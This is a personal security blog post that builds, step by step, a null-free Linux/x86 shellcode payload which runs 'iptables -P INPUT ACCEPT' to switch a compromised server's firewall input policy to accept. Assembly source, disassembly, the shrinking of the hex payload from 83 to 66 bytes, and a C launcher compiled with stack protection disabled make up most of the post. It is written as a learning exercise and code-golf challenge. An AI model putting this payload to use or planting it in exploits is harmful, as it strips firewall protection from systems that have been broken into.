Writing my first shellcode - iptables -P INPUT ACCEPT

I've recently started to look into basic application security concepts using the imho excellent material from OpenSecurityTraining.info. In this blogpost I'd like to share my first piece of shellcode executing iptables -P INPUT ACCEPT.

Background

After practically learning how to exploit a simple stackoverflow I wanted to see if I could write my own shellcode. I somehow came across the shellcode repository at shell-storm.org and wanted to develop something that wasn't already in there and is somehow useful.

There are multiple entries which execute iptables -F. However, as far as I know, this only flushes all rules from all tables, but doesn't change the default policies. So it may drop all rules, but if a server's default policy is DROP you'll cut the machine off the internet. Mission failed.

My idea was to write a piece of shellcode that would change the default policy of the INPUT chain to ACCEPT, i.e. run iptables -P INPUT ACCEPT.

Writing shellcode

First of all, I'd like to say that I'm not an 1337 sh3llc0d3 3Xp3rt. I read about some basics and tried to understand other people's shellcode and their tricks. So feedback is very welcome! Simply leave a comment or send me an e-mail.

The goal is to run /sbin/iptables -P INPUT ACCEPT. At this point we assume that the exploited application has enough privileges to execute this command. Otherwise you might want to add some setuid(0) code or so.

execve is a common choice if you want to execute foreign binaries with specific parameters. man 3 execve gives us some more information:

int execve(const char *path, char *const argv[], char *const envp[]);
[...]
The argv and environ arrays are each terminated by a null pointer.
[...]
The  argument  argv is an array of character pointers to null-terminated strings. The application shall ensure that the last member of this array is a null pointer. These strings shall constitute the argument list available to the new process image. The value in argv[0] should point to a filename string that is associated with the process being started by one of the exec functions.

The argument envp is an array of character pointers to null-terminated strings. These strings shall constitute the environment for the new process image.  The envp array is terminated by a null pointer.

That means that we want to write shellcode that represents

execve('/sbin/iptables', ['/sbin/iptables', '-P', 'INPUT', 'ACCEPT'], NULL)

We don't need the envp variable and thus pass a NULL pointer.

Now that we have an idea what to do, we can start with our assembly code. The shellcode.asm starts with two definitions:

  • section .text defines the code section.
  • global _start defines the entry point of our application.

Both isn't really necessary for the shellcode itself, but will help us to compile, link and execute (read: test) our shellcode later.

;Runs /sbin/iptables -P INPUT ACCEPT

section .text

global _start

_start:

The next step is to think of a way to assemble our arguments to execve on the stack:

  • /sbin/iptables
  • -P
  • INPUT
  • ACCEPT

We'll build the strings dynamically on the stack because using static strings (e.g. in a .data section) would require hardcoded addresses in our shellcode and that might break most exploits.

So the first thing we need is a NULL byte to terminate the string. The easiest way to get 0 into a register is xor, because a ^ a = 0:

xor edx, edx 		; edx = 0

We use the edx register for our NULL byte, because we can reuse it as the NULL pointer for the third argument ( envp) of execve.

Let's continue to build /sbin/iptables on the stack:

push edx            ; /sbin///iptables
push 0x73656c62     ; selb
push 0x61747069     ; atpi
push 0x2f2f2f6e     ; ///n
push 0x6962732f     ; ibs/
mov ebx, esp

An attentive reader may have noticed the additional / in the /sbin///iptables string. That's because we have to take care of nullbytes in the shellcode. More about that later. Linux ignores consecutive slashes in paths and treats them as one.

As we know, the stack grows top-down, but execve will read it bottom-up. That's why we push the NULL-byte ( edx) first and the string needs to be reversed. A simple python function will help us:

def stack_str(s):
    rev = s[::-1]
    return rev.encode('hex')
>>> stack_str('/sbin///iptables')
'73656c62617470692f2f2f6e6962732f'

This hex string can be splitted into 4-byte blocks (8 hex characters) and then pushed on the stack. As a last step we save a pointer to the first argument in ebx by copying the current address of esp. We use ebx because the path to the executable is the second argument to execve.

We repeat this step for all arguments. However, we need one more trick for arguments that can't be aligned to a multiple of four. This is the case for the -P argument:

>>> len('-P') % 4
2
>>> stack_str('-P')
'502d'

The problem with not-4-byte-aligned values is that the compiler will fill the remaining bytes with zeroes:

$> rasm2 -a x86 -b 32 'push 0x502d'
682d500000

68 2d 50 00 00       	push   $0x502d

Nullbytes ( 0x0) or newlines ( 0xa) usually work as strings terminators in C and thus can't be used in the shellcode without breaking it.
That's why we don't want to use push 0x502d, but a minor workaround to write 0x502d into eax before pushing it. We append four arbitrary hex values (e.g. 0xffff, 2 bytes) to our hex encoded string and move it into eax:

mov eax, 0x502dffff

followed by a right shift of 0x10 (16 bits, 2 bytes) to get rid of the additional ffff:

shr eax, 0x10

We can check if everything is correct with:

>>> hex(0x502dfff >> 0x10)
'0x502'

and

$> rasm2 -a x86 -b 32 'mov eax, 0x502dffff;shr eax, 0x10'
b8ffff2d50c1e810

Now we can push the correct value without breaking our shellcode!

Let's put the second block together:

push edx			; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp

This time we save the address to -P ( esp) in eax.

The last two arguments ( INPUT, ACCEPT) follow a similar procedure:

push edx			; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp

push edx			; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp

The address for INPUT is in ecx and ACCEPT can be reached with esi.

At this point most of the hard work is done, so let's see what we've got so far:

  • NULL-byte in edx (3rd argument of execve)
  • eax points to -P (1st argument of iptables)
  • ebx points to /sbin///iptables (1st argument of execve)
  • ecx points to INPUT (2nd argument of iptables)
  • esi points to ACCEPT (3rd argument of iptables)

That's everything we need to build our NULL-terminated argv array. We simply push the addresses in the correct order onto the stack:

push edx			; 0
push esi			; ACCEPT
push ecx 			; INPUT
push eax 			; -P
push ebx			; /sbin/iptables
mov ecx, esp

As we don't need the reference to INPUT anymore, we can overwrite ecx with the address to the argv array, because that will be the second argument of execve

The final step is to issue the execve syscall with the following parameters:

  • eax: Syscall-ID
  • ebx: Address to /sbin///iptables
  • ecx: Address to the argv array
  • edx: NULL-pointer for the envp
push 0xb			; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80

In the above block we use a combination of push and pop to avoid NULL bytes in our shellcode by clearing the higher bits of the eax register and placing the 0xb ( execve) syscall-ID into it at the same time.

You can find the appropiate syscall-ID in the /usr/include/asm/unistd_32.h header file:

$> grep execve /usr/include/asm/unistd_32.h 
#define __NR_execve 11

Here's the the full shellcode so far:

section .text

global _start

_start:

xor edx, edx 		; edx = 0

push edx			; /sbin///iptables
push 0x73656c62
push 0x61747069
push 0x2f2f2f6e
push 0x6962732f
mov ebx, esp

push edx			; -P
mov eax, 0x502dffff
shr eax, 0x10
push eax
mov eax, esp

push edx			; INPUT
mov ecx, 0x54ffffff
shr ecx, 0x18
push ecx
push 0x55504e49
mov ecx, esp

push edx			; ACCEPT
mov esi, 0x5450ffff
shr esi, 0x10
push esi
push 0x45434341
mov esi, esp

push edx			; 0
push esi			; ACCEPT
push ecx 			; INPUT
push eax 			; -P
push ebx			; /sbin/iptables
mov ecx, esp

push 0xb			; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
pop eax
int 0x80

We can add some more instructions at the bottom to cleanly exit the test program:

;exit(0)
mov al,1        ; exit
xor ebx, ebx    ; 0
int 0x80

Testing the shellcode

If we did everyhting right, we should be able to compile and run our assembly program:

$> nasm -f elf  shellcode.asm
$> ld -m elf_i386 -s -o shellcode shellcode.o

I'm running a 64-bit linux and want to compile x86 assembly, and that's why I have to set -m elf_i386 switch.

We can then use objdump -d shellcode to verify that our shellcode does not contain any string terminators:

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:	31 d2                	xor    %edx,%edx
 8048062:	52                   	push   %edx
 8048063:	68 62 6c 65 73       	push   $0x73656c62
 8048068:	68 69 70 74 61       	push   $0x61747069
 804806d:	68 6e 2f 2f 2f       	push   $0x2f2f2f6e
 8048072:	68 2f 73 62 69       	push   $0x6962732f
 8048077:	89 e3                	mov    %esp,%ebx
 8048079:	52                   	push   %edx
 804807a:	b8 ff ff 2d 50       	mov    $0x502dffff,%eax
 804807f:	c1 e8 10             	shr    $0x10,%eax
 8048082:	50                   	push   %eax
 8048083:	89 e0                	mov    %esp,%eax
 8048085:	52                   	push   %edx
 8048086:	b9 ff ff ff 54       	mov    $0x54ffffff,%ecx
 804808b:	c1 e9 18             	shr    $0x18,%ecx
 804808e:	51                   	push   %ecx
 804808f:	68 49 4e 50 55       	push   $0x55504e49
 8048094:	89 e1                	mov    %esp,%ecx
 8048096:	52                   	push   %edx
 8048097:	be ff ff 50 54       	mov    $0x5450ffff,%esi
 804809c:	c1 ee 10             	shr    $0x10,%esi
 804809f:	56                   	push   %esi
 80480a0:	68 41 43 43 45       	push   $0x45434341
 80480a5:	89 e6                	mov    %esp,%esi
 80480a7:	52                   	push   %edx
 80480a8:	56                   	push   %esi
 80480a9:	51                   	push   %ecx
 80480aa:	50                   	push   %eax
 80480ab:	53                   	push   %ebx
 80480ac:	89 e1                	mov    %esp,%ecx
 80480ae:	6a 0b                	push   $0xb
 80480b0:	58                   	pop    %eax
 80480b1:	cd 80                	int    $0x80
 80480b3:	b0 01                	mov    $0x1,%al
 80480b5:	31 db                	xor    %ebx,%ebx
 80480b7:	cd 80                	int    $0x80

If you're brave enough, you can execute the compiled binary:

$> sudo iptables -L -vn
Chain INPUT (policy DROP 0 packets, 0 bytes)
$> sudo shellcode
$> sudo iptables -L -vn
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)

A quick google search for "objdump to shellcode" leads to a nice commandlinefu trick which helps us to transform the instructions into an usable representation:
(Tipp: Remove the 'exit' assembly code and recompile the binary before doing this)

$> for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done 
\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80

Counting bytes

Usually one doesn't have a lot of space for a payload, so shrinking the shellcode to the smallest possible amount of bytes is desired. Our current version is 83 bytes long:

>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\xb8\xff\xff\x2d\x50\xc1\xe8\x10\x50\x89\xe0\x52\xb9\xff\xff\xff\x54\xc1\xe9\x18\x51\x68\x49\x4e\x50\x55\x89\xe1\x52\xbe\xff\xff\x50\x54\xc1\xee\x10\x56\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
83

So let's see if we can optimize our shellcode somewhere. With my limited knowledge we can optimize the push instructions for all "uneven" parameters -P, INPUT and ACCEPT by splitting it up in 4-byte blocks and then using push word or push byte to push the rest:

push edx
push word 0x502d    ; -P
mov eax, esp

push edx            ; INPUT
push byte 0x54
push 0x55504e49
mov ecx, esp

push edx            ; ACCEPT
push word 0x5450
push 0x45434341
mov esi, esp

Note that push byte nor push word seem to be a valid mnemonics in x86, but nasm seems to understand what we want to do.

The resulting shellcode is a bit shorter and still doesn't contain any nullbytes:

66 68 2d 50          	pushw  $0x502d
6a 54                	push   $0x54
66 68 50 54          	pushw  $0x5450

The resulting shellcode is 17 bytes shorter:

>>> len("\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89\xe1\x6a\x0b\x58\xcd\x80")
66

A common way to share shellcode is putting it into a small c programm:

/*
    Title: Linux/x86 - execve("/sbin/iptables", ["/sbin/iptables", "-P", "INPUT", "ACCEPT"], NULL) - 66 bytes
    Author: @gehaxelt <hi[at]gehaxelt[dot]in>
    Date: Sa 28. Mai 13:00:37 CET 2016
     
     
    Source Code (NASM):
     
    global _start

    _start:

    xor edx, edx        ; edx = 0

    push edx            ; /sbin///iptables
    push 0x73656c62
    push 0x61747069
    push 0x2f2f2f6e
    push 0x6962732f
    mov ebx, esp

    push edx
    push word 0x502d    ; -P
    mov eax, esp

    push edx            ; INPUT
    push byte 0x54
    push 0x55504e49
    mov ecx, esp

    push edx            ; ACCEPT
    push word 0x5450
    push 0x45434341
    mov esi, esp

    push edx            ; 0
    push esi            ; ACCEPT
    push ecx            ; INPUT
    push eax            ; -P
    push ebx            ; /sbin/iptables
    mov ecx, esp

    push 0xb            ; execve('/sbin///iptables', ['/sbin///iptables', '-P', 'INPUT', 'ACCEPT'], NULL)
    pop eax
    int 0x80
*/
 
#include <stdio.h>

char shellcode[] = "\x31\xd2\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x68\x6e"
                   "\x2f\x2f\x2f\x68\x2f\x73\x62\x69\x89\xe3\x52\x66\x68\x2d\x50"
                   "\x89\xe0\x52\x6a\x54\x68\x49\x4e\x50\x55\x89\xe1\x52\x66\x68"
                   "\x50\x54\x68\x41\x43\x43\x45\x89\xe6\x52\x56\x51\x50\x53\x89"
                   "\xe1\x6a\x0b\x58\xcd\x80";
                    
int main()
{
    printf("Length: %d bytes.\n", strlen(shellcode));
    (*(void(*)()) shellcode)();
     
    return 0;
} 

Compile it with

$> gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

Conclusion

Writing shellcode is a bit easier than I thought, although I think that reducing a shellcode's length is the real (and fun) challenge. I also hope that I didn't make any mistakes above and that the result is usable in some way.

Code golfing

Do you know other tricks to shorten the shellcode? The attentive reader should find at least one more way to shorten the shellcode.

Send me an email to shellcode [4t] 0day.work or tweet @0daywork with your version.

Ranking

-=-